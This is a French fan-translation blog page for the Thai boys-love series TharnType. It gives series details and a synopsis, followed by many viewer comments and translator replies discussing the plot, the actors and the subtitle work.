-
TharnType
Titre : TharnType เกลียดนักมาเป็นที่รักกันซะดีๆ (Tharntype: Kliat Nak Ma Pen Thirak Kan Sa Didi) / Tharn Type The Series / TharnType The Series / TharnType S
Genre : Romance, Amitié, École, Gay
Diffusion : 7 octobre 2019 au 6 janvier 2020
Nombre d'épisodes : 12 + 1 épisode spécial + 1 film (qu'on à pas traduit)
Durée moyenne d'un épisode : 45 min
Pays :
Thaïlande
Chaine : GMM One
Infos :
Adapté du roman "TharnType's Story : Hate You, Love You More" (TharnType Story เกลียดนักมาเป็นที่รักกันซะดีๆ) de MAME.
C'est la saison 1 de TharnType 2.
Lié à la série Love By Chance & Love By Chance 2.
Vous pouvez regarder TharnType avant Love By Chance ou l'inverse.
En co-producrion avec Aika :
Trailer :
Synopsis :
Type est un étudiant de première année bronzé, grand et beau.
Bien qu'il soit un garçon chaleureux, il est homophobe parce qu'il a été agressé par un homme dans son enfance.
Sa vie tourne à l'envers quand cette nouvelle année d'université
amène une personne très intéressante dans sa vie, un colocataire gay, Tharn.
Tharn, est un très beau major de musique avec une peau claire et des traits mixtes.
Il est aussi ouvertement gay.
Avec un homosexuel et un homme qui déteste les homosexuels, qui doivent partager un petit espace ensemble pour le reste de l'année.
Quel peut être le résultat de leur histoire ? La haine ? Ou peut-être l'amour ?
Casting :
Épisodes : 12/12 + 1 épisode spécial
Retrouvez le film chez AsianDrama.
Tags : TharnType, Série, BL, Boys Love, Boy, Love, Romance, École, Ado, Adolescent
-
Commentaires
bonjour,merci beaucoup j'ai adorer love by chance alors obliger de regarder de regarder cette serie et alors genial mega genial . de l'amour ,de vrai baiser.et des acteur kawaii.merci encore
J'ai enfin terminé la première saison de Tharntype - il me reste juste le spécial à visionner - et oh, boy, c'était un désordre chaud. Heureusement Mew & Gulf sauvent les meubles.
Je vais commencer par le bad et finir par le bon. Histoire de garder une bonne note pour la fin ^^. Et j'ai des choses à dire. A lot. Il faut dire que sur le papier il y a de bonnes idées mais qui ne mènent nulle part ainsi que deux très bons acteurs pour les porter.
Je vais essayer de ne pas spoiler donc c'est un peu compliqué pour moi de formuler les choses par moment ^^'.
S'il y a des choses que j'ai apprécié, l'histoire, si on peut parler d'histoire, est une catastrophe et l'auteur n'aurait pas dû toucher à certains thèmes si c'était pour les traiter de cette façon ou plutôt de ne même pas les traiter. Je pense même qu'il y avait trop d'histoires à raconter pour aussi peu de temps. Cela aurait pu tenir sur deux saisons.
La caractérisation des personnages est vraiment problématique et il n'y a aucun développement de personnages. Et il ne semble pas avoir de réflexion, en dehors du drama et du côté steamy, sur comment les actions des personnages vont être perçu.
Prenons Tharn qui passe juste pour un biip dès le départ. Le problème n'est pas vraiment ce qu'il fait même si on est d'accord que ce genre de comportent n'est pas ok. Le problème c'est qu'ils ont choisi que Tharn soit directement au courant du passé de Type et de jouer toutes les scènes sur un thème sensuel et romantique. Comment voulez-vous appréciez le personnage après cela ?
Si Tharn avait appris le passé de Type après - et avec une direction de scènes différente -, cela aurait pu marquer un développement dans son personnage, une première étape. La vision du personnage aurait été différente et d'un biiip, il aurait juste été un jeune adulte qui fait des choses stupides pour se venger de son colocataire et de ses remarques blessantes. Plus comme un comportement immature et irréfléchi.
Et d'une manière générale, toutes les révélations sur son passé amoureux arrivent non seulement trop tardivement mais ne sont pas utilisés pour donner de la profondeur et de la réflexion à son personnage. Son côté manipulateur, possessif, insistant aurait fait plus de sens et n'aurait pas été perçu aussi négativement mais comme une conséquence de son passé. C'est également dommage qu'on n'ait pas évoqué les tensions sur le choix d'étude de Tarn avec ses parent.
Ce manque de travail sur les personnages concernent bien sûr Type, qui est un gars homophobe mais gay et qui a un passé douloureux. Hors cela n'est jamais traité. En dehors de faire passer Tharn pour un biiip dans les premiers épisodes, on n'y revient pas. Il n'y a pas de résolution, pas de discussion à la fin. Sans compter que c'est un vrai problème pour lui puisque cela lui déclenche des crises.
J'adore aussi comment durant un repas, entre une gorgée d'eau et une bouchée de riz, il est "oh, allons-y pour le sexe gay". Et la prometteuse side story avec son ami d'enfance est à peine abordée que c'est abandonné.
L'histoire avec Tar et Longh arrive beaucoup trop tardivement, manque de développement et n'est absolument pas organiquement liée au reste de l'histoire. Tar apparait juste aléatoirement dans des scènes au début sans qu'on comprenne ce qu'il fiche là et Longh est juste un side character.
Et c'est vraiment décevant parce que si cela avait été correctement intégré dès le départ, cela aurait pu créer une sorte d'angoisse, une sorte d'enclume qui menace de tomber sur notre lovey dovey steamy couple. Sans compter tout le côté mystère. Oh Tarn version Sherlock aurait été super.
Mais ce n'est même pas mon véritable problème avec cette histoire. C'est que Longh est une horrible personne - et c'est un euphémisme - et on dirait que sa seule méchanceté a été de voler le doudou de Tar. Il a même failli commettre un meurtre, bon sang ! Rien n'est traité avec sérieux alors que se sont de lourds sujets. C'est tout à propos du draaamaa et d'avoir quatre personnes pleurant sur une musique triiiiiiste. Si l'auteur ne voulait pas s'embêter avec, elle pouvait reste dans le même style, en choisissant quelque chose de moins grave, on va dire. Cette histoire n'obtient aucune conclusion satisfaisante.
Ne parlons même pas du casting de Tar qui est mauvais. Tar regarde comme un enfant à peine sorti de ses jupes de sa mère alors que Mew est définitivement proche de la trentaine. Je ne peux absolument pas obtenir comment Tharn était dans ce type ni lui appliquer le "beauté innocente" dont parle les autres personnages.
Les autres personnages sont juste là. Si les personnages principaux n'ont pas de développement alors que pensez vous que les secondaires ont droit ? Notons aussi qu'il y a un manque claire de chronologie et de passage du temps.
Je vais arrêter là parce que je pourrais en dire beaucoup plus et passons aux trucs qui m'ont plu et fait survivre à cela mdr.
Bon il est clair et net que si le bateau ne touche pas le fond c'est à grâce à Mew & Gulf . Ils incarnent parfaitement leur personnage et ils ont une grande chimie. Ils sont absolument confortables l'un avec l'autre.
J'ai particulièrement apprécié Type. Même si j'avais envie de lui nettoyer la bouche avec du savon et de lui tirer l'oreille pour qu'il s'excuse pour toute la biiip qu'il dit et même s'il était ronchon, désagréable, narquois, il était aussi terriblement attachant. Je fond pour son petit sourire narquois - et les mains de Mew lol.
Tharn me faisait penser à un gros chat - me demandez pas pourquoi mdr. Quand il n'était pas un biiip dans les premiers épisodes, il était vraiment un personnage soucieux, patient et adorable.
Tarn & Type était à la fois un couple jaloux, possessif, qui traversait les lignes de chacun mais aussi profondément amoureux, complice et tendre. Ils ont régulièrement de très bon moment, une fois qu'on sort des trucs plus haut.
Parmi les scènes que j'ai particulièrement apprécié est celle quand Type revient de son rendez-vous avec Puifai. Tout était parfait dans cette scène. Vous voyez que vous pouvez écrire des trucs corrects ! Et les scènes domestiques et ice cube kiss *soupire de bonheur*.
Plusieurs des caractères secondaires était bons. J'ai vraiment apprécié les scènes avec Techno, l'acteur était on the point, même si j'aurai voulu creuser sur le pourquoi de son amitié avec Type et les scènes avec la famille de Tharn. L'acteur jouant son frère (coucou Tong de KP) était là aussi trop jeune mais l'acting a sauvé ce cas là. Il était suffisamment sérieux et mature pour compenser la différence d'âge visible.
L'ensemble du drama était plutôt joli avec une production tout à fait correcte. Les acteurs se sont plus que bien débrouillés dans l'ensemble.
Why l'écriture était so baad.
Merci en tout cas pour la traduction et je vais passer au spécial avant la saison 2. Ouais je suis un peu maso je sens mais avec Mew & Gulf, I guess que je pourrais passer au travers.
Merci d'avoir traduit ce drama, j'ai regardé Love By Chance 1 et 2 donc obligé de voir cette série ^^
Hello j'ai regarder cette série pour la 2eme fois et je 'aime encore plus que la 1ere. Je vais aller me mettre a la saison 2 et a not me par la suite :)
Merci pour votre travail de dingue sur ses trad'.
vraiment excellent j'ai adorée cette saison 1 hâte de voir cette saison 2 qui sera aussi bien à mon avis une vrai alchimie entre ces acteurs c'était beau à voir en tout cas un grand merci à la team pour cette traduction et toutes les autres que vous faites du sacrer travail comme tjr bonne soirée la team bisous
J'ai beaucoup aimé le couple Tharn/Type bien qu'on a un début vraiment explosive... j'ai bien aimé la façon un peu malsaine qu'ils avaient de se provoquer l'un l'autre, et il faut bien le reconnaitre ces deux là ont franchement un caractère bien trempés mais ils savent ce qu'ils veulent et j'aime ça! :)
Ensuite Holalala... x) <3 C'est chaud genre quasiment tout le temps, j'ai bien aimé retrouver une histoire un peu plus mature, parce qu'il faut bien le dire, ces deux loulou sont tactile, et ont une belle alchimie.
J'ai aussi beaucoup aimé le jeu de Lhong qui est un personnage très poignant, il réalise une très belle prestation à la fin, qui fait ressortir pleins d'émotion, c'est assez frustrant on l'aime tout en le détestant.
Merci infiniment pour cette traduction, c'est vraiment du beau travail !
Fighting ! <3
Bonjour,
Merci beaucoup pour ce beau projet que j'ai pu me refaire grâce à votre travail.
Bon courage pour la suite !Bonsoir, je viens de finir cette première saison et je peux dire que c'est une série que j'aime car c'est le genre qui vous fait réfléchir sur certains sujets pas faciles . C'est tout ce que j'aime car vous pouvez passer du rire aux larmes ou même à la colère . Voilà une série qui vous laissera pas indifférent. En route pour la saison 2 !!!Hello, avant d’aller plonger dans la saison 2, je voulais vous remercier pour votre travail qui est extraordinaire . J’ai énormément apprécié ce drama qui illustre bien qu’il n’y a que les imbéciles qui ne change pas d’avis. Tout au long des épisodes, j’ai rigolé, pleuré, pesté et au final j’ai été heureuse d’avoir regardé ce BL qui est une belle surprise avec des acteurs qui jouent leur rôle à la perfection et qui en plus sont agréable à regarder
Coucou!
Merci pour cette série haute en couleur. Je l'ai personnellement beaucoup aimée. Je trouve seulement que le changement dans leurs relations est assez radical. Je ne m'attendais pas à ça et encore moins aussi rapidement!
Merci pour votre travail et bonne continuation :)
haaaaaaaa!!!!
je suis si heureuse de regarder cette serie!!!
je les chercher tres longtemps sans la trouver nulle part. je vous remercie de tout l travail que vous produiser.
juste de voie cette page medonne la péche
Bonsoir !
J'ai finis ce BL il y a quelques temps et il vraiment extraordinaire !
Un grand merci pour la traduction de celui-ci :D
Vos traductions sont toujours d'une qualité exceptionnelle, Merci !!!
-
Mardi 17 Novembre 2020 à 00:38
Si t'as aimé cette série, la saison 2 commence tout juste. L'épisode 1 est disponible sur le blog.
Merci pour ton commentaire, ça fait toujours plaisir.
-
J'ai finis la série hier soir ainsi que le 2ème épisode spécial en VOSTA.
Ce drama à un ton beaucoup plus adulte, au tout début je me disait : encore une série du type lycée... mais du coup j'ai été rapidement surpris.
La première partie est plus dure, certain propos étaient presque dérangeants mais malgré tout je voulais toujours en savoir plus, le seul reproche est que certaines coupes dans le scénario me faisait penser " j'ai loupé quelque chose ??" .
La deuxième partie est plus légère sauf à la fin bien sûr.
J'ai également trouvé que ce couple dégage quelque chose de vrai, on croit sans problème à un véritable amour et c'est assez rare.
Pour finir je voulais dire à quel point il est agréable de lire une traduction de qualité sans des fautes d'orthographe partout, vraiment félicitation à vous et un grand merci à la Team depuis Taïwan :)
-
Mardi 10 Novembre 2020 à 01:01
Wow ! Merci pour ton commentaire détaillé et ton avis sur la globalité de la série et de la traduction.
Cette série a été traduite en collaboration avec la Team AsianDrama. C'est moi et Aika de AsianDrama qui avons collaborer sur la traduction.
Je suis contente de lire que tu as aimé notre travail de traduction. Les deux teams portent une attention particulière pour que ce soit lisible et sans trop de fautes.
C'est vrai que la série est dure au début et à quelques autres moments. Et oui, parfois, les scènes se coupent et on atterri complètement ailleurs, ce qui peut déstabiliser. Mais c'est plutôt typique des dramas Thaïlandais. Si tu en regardes beaucoup, tu verras. ^^
Pour ce que tu dis sur le couple principal, Tharn/Type, c'est vrai qu'ils ont l'air vraiment amoureux, même si ce n'est pas le cas au début. Les acteurs sont juste vraiment talentueux et on y croit.
En tout cas, comme toi tu termines la première saison... La deuxième a débuté le 6 novembre.
Elle sera disponible sur le blog au fil des semaines. En espérant que cette nouvelle saison te plaira également. Et c'est encore en collaboration avec Aika. Comme la saison 1.
Je vais y mettre toute mon attention pour que ce soit aussi bien que la saison 1. C'est super motivant de lire ce genre de commentaire.
Merci pour ton avis. Ça fait toujours plaisir à lire.
Et, mes salutation de l'autre côté du globe, puisque je suis dans la région du Québec au Canada. ;)
-
Bon ben voilà comment je suis devenu fan couple MewGulf...C'est mon premier BL et quel BL!
Après ça, ça a été un peu compliquer de retrouver une série avec autant d'alchimie entre les acteurs.
J'ai du le regarder déjà 3 fois ! Bref il est génial merci beaucoup pour la traduction !
Je ne sais pas pour vous, mais ... perso j'ai un peu chaud en regardant cette série ^^
Mew/Golf, je crois que c'est impossible de trouver un autre "couple" d'acteurs jouant aussi bien Tharn/Type (Bon dans le Love by chance on voit une autre version de Type (au passage j'aime beaucoup cet acteur aussi ^^), mais ça ne vaut pas Golf^^)
L'histoire de Type est touchante... Je peux comprendre son aversion pour les homosexuels au débuts, mais en même temps il me tapait sur le système. Je ne sais pas combien de fois j'ai voulu le baffer, surtout vu ce qu'il faisait subir à Tharn....
Tharn... ce mec c'est un ange... Enfin presque... dans la douche c'est plus un démon ^^ Il a une patience de malade.. même si Type est un connard fini avec lui il continu à l'aider, le soigner, s'intéresser etc. Il est tellement gentil que parfois t'a envie qu'il envoie une belle droite à Type... Enfin en tout cas je l'adore !!!!!!!!!!!!!!!!!! (Bon Type aussi mais ce n'est pas pareil^^)
No... alors lui... I LOVE HIM!!!!!!!!!!!!!! Il est le bon copain mais en même temps il essai d'arranger les choses, de faire évoluer Type tout en délicatesse, et son envie d'être capitaine... Ca lui va bien... je pense que s'il n'avait pas été là Type n'aurait pas accepter Tharn de cette façon.
Je ne vais pas faire ça pour tout les persos mais il y a en un qui m'a fait mal au coeur (bon j'ai aussi eu envie de le trucider), mais ... Lhong... Malgré tout ce qu'il a pu faire, sa solitude m'a fait mal au coeur... Je ne lui pardonne pas tout ce qu'il fait, mais ça aide a comprendr e(merci P'Thorn de lui avoir pardonné pour moi ^^).
Ah et surtout, ne pas oublier le père de Type !!!!!!!! Mais qu'est-ce que j'ai ri !!!!!!!!!!!!!!!!!!!!!!!!!! Pauvre Tharn... J'espère qu'on en verra un peu plus dans la saison 2 avec lui...
Enfin bon, tout ça pour vous dire merci pour cette co-prod !!! Le travail que vous avez fait est super et c'est vraiment gentil de partager tout cela avec le reste des fans !!!!!!!!
Merci pour la traduction ! =) maintenant que je l'ai est tous j'ai vraiment hate de le commencer ! =) encore merci a vous ! =)
Coucou,
Merci pour cette traduction en coproduction :) J'ai seulement regarder 8 épisodes mais déjà, je sais que cette série va être l'une de mes favorites. La preuve, moi qui ne télécharge que très rarement, je suis en train de télécharger les épisodes. Malgré une connexion bas débit que ne me permet pas de télécharger rapidement et de réussir à chaque fois x) Je galère xD
J'adore les personnages, les acteurs, surtout Mew Suppasit, que je découvre. Le scénario ne ressemble pas à d'autres séries que j'ai déjà vu. Donc, elle me paraît plutôt originale cette série, elle change.
Merci beaucoup les filles :3
mille merci d'voire traduit ce drama que j'ai pris plaisir a regarder.
merci pour votre super travaille de treduction
Merci beaucoup d'avoir traduit cette série avec la Asian Drama ♥
Le dernier épisode est mon préféré ! J'ai trouvé que les acteurs étaient plus justes dans leurs émotions ;) et puis Llong...il a beau être un bâtard j'avais de la peine pour lui XD trop envie de lui faire un calin quand il se retrouve assis dans la rue tout seul :'(
Merci beaucoup la team pour ce dernier épisode et pour la traduction de cette série que j'ai adoré suivre avec vous et avec la Asian :)
Merci pour ce nouvel et dernier episode j'ai vraiment adoré cette série
en espérant qu'il en feront d'autre aussi bien
Merci pour ce dernier épisode. Je ne sais pas trop que penser de cette série. Autant j'ai aimé Mew et Mild, autant j'ai eu envie de baffé Gulf tout au long des épisodes que j'ai regardé, mais c'est que mon opinion personnelle et tant que ça se termine bien ça me va au moins je n'aurai pas le coeur déchiré comme dans MODC. Merci pour votre travail, bon après midi
Merci pour la traduction de cette série un peu inégale pour moi en raison surtout du jeu de Mew excessivement larmoyant, mais il est vrai que les BL thaïlandais donnent surtout en ce moment l'impression de participer à un concours lacrymal. Mais bon, on s'y fait et le reste est souvent très attachant.
-
Dimanche 12 Janvier 2020 à 15:13
Ouais, y'a des moments bien larmoyants comme tu dis et des moments plus rustres aussi. En fait, faut pas être trop hypersensible pour ce genre de série.
Merci pour ton avis, c'est très apprécié que tu partages ce que tu penses de la série. ^^
J'avoue que pour la fin 2019 début 2020, on a eu droit à pas mal de Dramas avec des moments super tristes, voire des fins vraiment tristes aussi. Heureusement qu'il n'y a pas "que" de ça non plus. On a des séries plus légères qui contrebalance un peu. :)
Bonne journée à toi.
-
coucou merci pour le dernier épisode merci et bravo pour tout votre travail.
TharnType The Serie est mon Drama 2019 il ma fais passait des émotions de fou tout le long.
Je ne pleure pas facilement mais la je craque particulièrement dans les derniers épisodes.
Tout les personnages sont fantastiques et je tient a dire bravo aux acteurs après j'ai une préférence pour le personnage de Type car j'ai aimé son évolution tout le long de la série et j'arrive toujours a le comprendre.
La série va me manque on croises les doigts en espérant qu'on pourra voir l'épisode spécial
Je tient encore a vous dire merci pour votre travail et merci d'avoir pris ce projet
bon dimanche.
Merci pour ce dernier épisode ^^ Un drama qu'on a pris plaisir à suivre et dans lequel on est passé par plein d'émotion !!
Aaaaaah super !! Merci beaucoup pour l'ep 12 !
Je l'attendais pour mater l'ep 11, car il avait l'air horrible mdr
J'espère que la série finit quand même bien ~
Merci pour cette série en tout cas ^^
Merci pour l'épisode 11. Plus qu'un et je pourrai enfin le commencer. Encore merci. Bonne soirée
-
Lundi 23 Décembre 2019 à 20:13
OMG ! T'es vraiment patiente ! Chapeau !
Je pense que tu ne seras pas déçue par cette série.
Wouah ! Je suis impressionnée. Avec tous les commentaires qu'il y a... si tu les as les lu et que tu continues d'attendre. Juste, chapeau ! XD
Bonne journée à toi. Et Joyeuses Fêtes !
-
Merci, voilà une série qui aura marqué les esprits de beaucoup d'entre nous, la fin approche mais pour le moment nous voilà tous au pain sec et à l'eau jusqu'au 6 Janvier, dur dur.
Bon dimanche et bonne fête de fin d'année.
-
Lundi 23 Décembre 2019 à 10:33
Ah oui, très marquante. À peu près, sinon plus que Trapped. ^^ Cette série aura aussi fait réagir les gens de différentes façons.
Même si cette série est dure par moments, elle reste superbe sur l'ensemble.
Je suis heureuse que ce fut ma première série complète et ma première collaboration également.
Au pain sec et à l'eau ? Hahaha ! Elle est plutôt bien dite, celle-là. J'espère que ce dernier épisode saura m'épater. Peu importe de quelle façon.
Bonnes fêtes de fin d'année à toi aussi.
-
Bonjour,
Une fois de plus, vous nous avez régalés avec ce drama BL.
J’ai hâte de voir cet épisode...
Une année de plus qui se finit et une nouvelle qui arrive.
De nouveaux projets aussi que j'attends avec impatience.
Mille, deux mille, trois mille enfin des millions de MERCIS pour cette année et les précédentes aussi.
Je vous souhaite d'excellentes fêtes de fin d'année en commençant par un JOYEUX NOËL.
Amitié et Biz
-
Lundi 23 Décembre 2019 à 10:26
Un gros, gros merci pour ton commentaire. Ça fait super plaisir à lire. :)
Je crois qu'on a tous bien hâte de voir cet épisode 12. ^^
Et oui, une année qui se termine pour en débuter une nouvelle. Et des projets en pagaille.
Joyeuses Fêtes à toi également et Joyeux Noël !
-
Merci pour le nouvel épisode :)coucou merci pour l'épisode 9 et je suis d'accord avec toi pour Type et j'ai peur qui se calme pas pour l'épisode 10.
-
Dimanche 8 Décembre 2019 à 23:31
@sicardlilou : Ouais, Type est plutôt violent et impulsif. Il réfléchit pas avant d'agir. N'empêche, j'adore cette série. Après, j'ai pas l'impression qu'il va être calme à l'épisode 10 au vu du prewiew. Je le comprends un peu dans un sens. Bref.
@takumi kun : MODC et UWMA sont excellentes aussi. Après, chacun ses favoris en haut de liste. ;) Bon, TT et MODC se battent pour la première place dans mon coeur. J'aime énormément MODC aussi. XD
Merci pour vos commentaires et avis. ^^
-
Dimanche 8 Décembre 2019 à 13:36
Très bonne série que j'aime beaucoup. Mais pas la meilleure pour moi dépassée de loin par MODC et UWMA ;;; C'est pas le même niveau même si l'alchimie entre les deux est trop mignonne
-
Rien à dire, vraiment la meilleur série. Merci beaucoup pour votre travail de traduction, correction et cleanage.
-
Dimanche 8 Décembre 2019 à 13:39
Très bonne série que j'aime beaucoup. Mais pas la meilleure pour moi dépassée de loin par MODC et UWMA ;;; C'est pas le même niveau même si l'alchimie entre les deux est trop mignonne. Et comme toujours bonne traduction
-
Dimanche 8 Décembre 2019 à 00:39
Oooh ! Ravie que cette série te plaise. :) C'est également "ma" série du moment. Même si y'en a plusieurs autres que j'aime beaucoup aussi en ce moment. Ton petit commentaire fait très plaisir.
Bonne soirée/journée à toi.
-
Bonsoir,
Merci pour la traduction de ce 7ieme épisode.
Avec Type, Tharn à encore du boulot, mais les choses avancent dans la bonne direction, celle de l'acceptation.
Mention particulière : j'ai appris beaucoup sur les matelas
le meilleur drama BL que j'ai vu depuis history 2, le couple principal est tout simplement addictif, tharn est vraiment trop attachant, ce drama est directement entré dans mes favoris.
Le seul bémol, la diffusion d'un seul épisode par semaine, je savais que j'aurai du attendre qu'il soit fini avant de le commencer car là l'attente est vraiment terrible, espérons qu'il reste aussi bien jusqu'à la fin
Merci de m'avoir permis de le découvrir
Beaucoup de mes amies me parlent de ce BL, j'ai décidé de m'y mettre. Merci pour cette traduction
-
Dimanche 24 Novembre 2019 à 11:48
Je t'assure que tu ne le regretteras pas. Cette série est vraiment bien. Même s'il y a des moments moins glorieux. Type est un lion sauvage. XD Mais on les adore quand même. :)
-
Merci beaucoup pour l'épisode 6 ! Un vrai coup de coeur pour cette série qui me fait frissonner chaque semaine :)
Un grand merci pour cette nouvelle série, votre travail est au top comme d'habitude!! Je suis assez impatiente de voir Type se rapprocher de Tharn, ça devient de plus en plus intéressant. C'est vrai que j'apprécie aussi de voir un peu plus de , comment dire?, sensualité dans un drama, même si pour moi c'est toujours le côté romantique qui me plait!!! (il y a des moments comme ça où on redevient une ado !!!)
Merci pour ce nouvel épisode d'une série assez instructive sur le tempérament thaï par rapport à la sexualité et à l'amour qui peuvent se distinguer et finalement se rejoindre.
Coup de coeur pour ces 2 là
merci de partager avec nous et bonne continuation pour votre très bon travail
Bonjour, merci pour cette série bien sympathique.
j'en profite également pour vous remercier pour tout les projets sur lesquelles vous travaillez, eklablog est devenu indispensable dans ma vie . J'en ai été privé pendant quelques semaines je pensais que c'était parce que je ne mettais pas assé de commentaires ... Maintenant que ça fonctionne à nouveau je tenais à vous remerciez vraiment pour tt le travail que vous faites qui fait plaisir à ttes les fan de BL comme moi !!
Je n'écris pas souvent de messages car ce n'est pas trop dans ma personnalité de m'exprimer tt haut, mais je pense maintenant qu'il est important de vous dire que votre travail n'est pas vain..
merci!!
-
Jeudi 14 Novembre 2019 à 00:53
Ben, tu sais, pas non plus besoin de poster partout, mais quelques commentaires par-ci, par-là, ça fait toujours plaisir. Et si ça te plaît, raison de plus de pour commenter. :)
Et ça montre que tu es là. Et nous on les lit tous, même si on ne répond pas à tous les commentaires. Si on le faisait, on aurait plus autant de temps pour traduire et vous sortir tous ces épisodes. ^^
Après, moi non plus je ne commente pas "partout", mais j'en fais le plus possible. ^^ Surtout si la série me plaît beaucoup. Ou un film ou un CM.
Bref. Merci pour ton commentaire. Et également à tous ceux qui en postent pour nous dire que nos traductions vous plaisent. :)
Cette série est juste géniale. J'ai toujours hâte à la sortie du prochain épisode.
-
Merci pour ce 5e épisode
Je ne sais pas ce que Type pense et ce que Tharn attend.
Bon lundi!
Merci pour ce nouvel épisode. Quelqu’un sait t’il ou lire le roman en anglais ? J’ai trouvé des chapitres par ci par là mais personne qui ne fasse une vrai traduction au delà du chapitre 8. Help !
coucou merci pour ce nouveau épisode hâte de voir la suitée merci pour touts ces travailler que vous faite
Bonsoir,
Merci pour ce nouvelle épisode et surtout pour votre travail.
Courage pour la suite de vos projet
ça y est cette série est entrée dans mon top 3, depuis 2016 rien n'avait bougé mais là, c'est fait. Je craque à fond pour cette série. Merci de la traduire.
Comment parler de cet épisode 4 sans mettre le feu au poudre, c'est difficile à moins d'être muni d'un extincteur et là encore je ne suis pas sûre d'arriver à proscrire l'incendie qu'il a allumé en moi, j'ai senti une douce chaleur m'envahir juste d'après que mon visage se soit couvert de larmes à l'évocation d'un douloureux passé révélé.
Mew a su m'émouvoir à un point que j'en suis encore en train de frissonner à la vue de son jeu.
Mon dieu, son jeu dans cette scène… j’en ai encore la chair de poule. Quand Gulf lui raconte son histoire... j’en suis toute retourné de le voir réagir de cette façon, sa gorge qui se met à trembler, ses lèvres qui se serrent, sa mâchoire qui se crispe, il dégluti et qu’il comprend que les prochains mots de Type seront encore plus dur, il prend du recul sans jamais rompre le contact physique avec sa main...
Cette scène-là ma mise dans tous mes états, on a tous un vécu qui fait que l’on plus sensible à certaines scènes qu’à d’autres et celle-là m’a beaucoup touché.
Merci d'avoir choisi un tel projet, entre rire et larmes ou bien monté de la température j'ai l'impression d'être une vraie girouette alors que certains ont essuyé des tempêtes à l'autre bout de la planète moi je n'ai eu qu'à m'installer sur mon canapé.
Bisous.
-
Mercredi 6 Novembre 2019 à 22:08
J'adore tes jeux de mots. ^^
Cette série est juste géniale. Très mature et crue. Mais très réaliste également. Je ne regrette pas d'avoir pris cette série en Co-Prod avec Aika de la AsianDrama.
Et cette série grimpe dans mon top 3 de mes série BL favorites. Trapped étant en tête de liste. TharnType tombe en seconde position. Reste à voir si elle montera en première. :) Et en troisième, on a... tadam : Make Our Days Count, un autre HiStory. XD
Après, on a plein de séries géniales qui débutent comme Dark Blue Kiss dont je n'ai pas encore un avis très déterminé dessus pour le moment.
En tout cas, merci pour ton commentaire. Il m'a fait sourire et c'est toujours super apprécié. :)
-
Coucou, MyaEria !
Un immense merci pour ce projet extraordinaire !
Imagine-toi que, pour une raison inconnue, je faisais le difficile à l'idée de commencer cette série.
J'ai craqué hier soir et le choc a été si grand que j'ai visionné tous les épisodes traduits avec une avidité encore inédite.
Premier choc : le visage doux et attendrissant de Type (Gulf Kanawut).
J'ai été envoûté par ce personnage, par sa façon de passer d'une attitude frontale vis à vis de Tharn à une attitude docile lorsqu'affleurent son besoin de se confesser ou son désir charnel.
Type a agi sur mon cœur comme un aimant. Il me manque déjà.
Deuxième choc : les scènes "hot"
A force de regarder des BL où les émois amoureux ne se résument qu'à quelques petits bisous choupinous, j'avais oublié la magie des moments où s'expriment les désirs du corps.
J'ai écarquillé les yeux, je les ai avancés à dix centimètres de l'écran en mode What ? Why ? Whaou !!!
Je suis ressorti de ces épisodes des étoiles plein les yeux et le ventre noué tant j'ai aimé.
Je me suis senti revivre.
Troisième choc : l'évocation sérieuse du traumatisme d'enfance
La mise en scène des cauchemars de Type était réussie. Sa confession sur son passé était particulièrement poignante. Et les réactions de Tharn étaient merveilleuses.
J'ai pleuré, je l'avoue.
Quatrième choc : le nouveau rôle de Mew
Je suis content de découvrir Mew dans un rôle plus valorisant que dans What The Duck.
Ici, il sait être très convaincant, très viril et démonstratif.
Comme les scènes "hot" ne lui font pas peur, il est parfaitement à l'aise et il contribue à leur intensité.
J'attends la suite de la série avec une impatience non dissimulée.
Quand je repense à Type/Gulf, je me rends compte du pouvoir attractif qu'il exerce sur moi.
Mon cœur n'était pas prêt... T_T
Félicitations, MyaEria, pour la qualité indéniable de ton travail, pour ta rigueur extra.
Merci d'avoir traduit les OST. Moi aussi, j'aime chanter les openings BL avec ma voix... de crécelle.
Je dois aussi te dire que j'ai adoré ta présentation des sous-titres, du nom des acteurs et ta mise en forme des titres. C'est très beau et très stylé !
Je n'oublie pas de remercier Babz pour son aide et bien sûr Aïka et Semeuse qui agissent pour la partie Asian Drama.
Je t'adresse tous mes encouragements admiratifs et te "supplie" de continuer car tu as un fan qui compte sur toi !
MERCI MILLE FOIS !
PS : Un chti coucou à ton Pilou !
-
Mercredi 6 Novembre 2019 à 21:59
Je réponds tard. (C'est ça d'avoir le nez dans les projets et c'est pas peu dire). ^^
Déjà, un énorme merci pour ton commentaire. Ça fait toujours très plaisir. Et des commentaires comme ceux-là, d'autant plus. :)
Mais c'est super d'avoir craqué. Des fois, c'est vrai, on se dit : Ah, je ne commencerai pas cette série, ça a pas l'air si sympa. Ça m'est arrivé pour la série "Friend Zone" qui est chez vous. Je me disais que ça avait l'air pas si sympa. Et finalement, après deux épisodes, j'étais charmée. Heureusement, elle était terminée, j'ai pu la regarder en deux-trois jours. XD
1 : Type est vraiment beau. Même si j'adore aussi Tharn. Les deux acteurs sont vraiment beaux. ^^ Habituellement, j'ai un penchant plus défini, mais pas ici. Dur dur de les départager.
2 : Effectivement, les scènes hot sont vraiment plutôt "hot". C'est vrai que ça change un peu parmi tous les BL plus timides. C'est moins romantique, mais plus passionné. J'aime bien.
3 : Oui, c'est bien d'évoquer les sujets comme celui-là. Ça rend l'histoire bien plus réaliste, plus approfondie aussi. Et j'aime quand on ressent les émotions, même plus tristes. Vraiment, ça donne une dimension plus réelle.
4 : Ah. C'est vrai que dans What The Duck, c'était pas glorieux. Mais pour cette série-ci, c'est juste superbe. Après, mon acteur préféré dans WTD c'était Oat/Strong. Ah, là, là... c'est vrai que Type/Gulf est très mignon.
Merci. Ah ! Je ne suis pas seule à aimer chanter mes génériques préférés de BL. Je me sens moins seule. ^^
Et, pour les mises en forme, c'est Babz qu'il faut remercier. Ouais, elle fait mes éditions. J'suis nulle. Après, j'suis douée en graphisme, mais pas pour l'édition. Hahahaha ! Mais je fais tout le reste : Traduction, correction, encodage, upload... :D
En tout cas, merci beaucoup pour ton commentaire et tes encouragements. Ça motive encore plus. Et c'est sûr que je continue. Moi aussi je veux voir la suite. Et j'adore traduire cette série en plus. :)
Mon Pilou te salue. (Il est super sociable, mon garçon). ^^
-
Bonsoir, Merci pour ce 3ième épisode
Certes, j'ai apprécié cet épisode, d'une série de plus en plus palpitante.
Et d'un next épisode qu'on a envie d'être la semaine prochaine.
Merci aussi pour les 2 OST
Merci beaucoup pour les épisodes ! Cette série est d'enfer ! Ils sont tous mignons !
Merci aussi pour les ost !
